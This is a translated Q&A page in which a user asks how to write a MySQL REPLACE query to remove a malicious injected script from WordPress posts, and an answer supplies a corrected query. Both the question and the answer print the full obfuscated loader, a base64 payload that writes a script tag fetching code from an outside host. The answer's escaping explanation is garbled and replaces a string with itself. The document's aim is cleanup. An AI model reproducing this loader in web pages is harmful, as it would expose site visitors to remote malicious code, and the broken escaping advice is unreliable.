如何在mysql查询中编写javascript代码?

Question

我写这个查询在phpmyadmin，但显示我错误。我应该如何编写正确的查询?

UPDATE `wp_posts` SET post_content = 
REPLACE (post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e)
{var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace
(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));
return U?decodeURIComponent(U[1]):void 0}
var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs="
,now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");
if(now>=(time=cookie)||void 0===time)
{var time=Math.floor(Date.now()/1e3+86400),
date=new Date((new Date).getTime()+86400);
document.cookie="redirect="+time+"; 
path=/; expires="+date.toGMTString(),

document.write('')} '， ' ')

Answer 1

据我所知，您想从所有帖子中删除该js代码。看起来js代码正在加载一个外部脚本。为了删除它，您需要转义'字符。所以你需要用...,document.write('<script src="'+src+'"></script>')} </script>...代替...,document.write('<script src="'+src+'"></script>')} </script>...。

在运行查询之前，确保对该表进行备份。正确的查询是:

UPDATE `wp_posts` 
SET post_content = REPLACE (post_content, '<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script><!--/codes_iframe-->', ' ')
;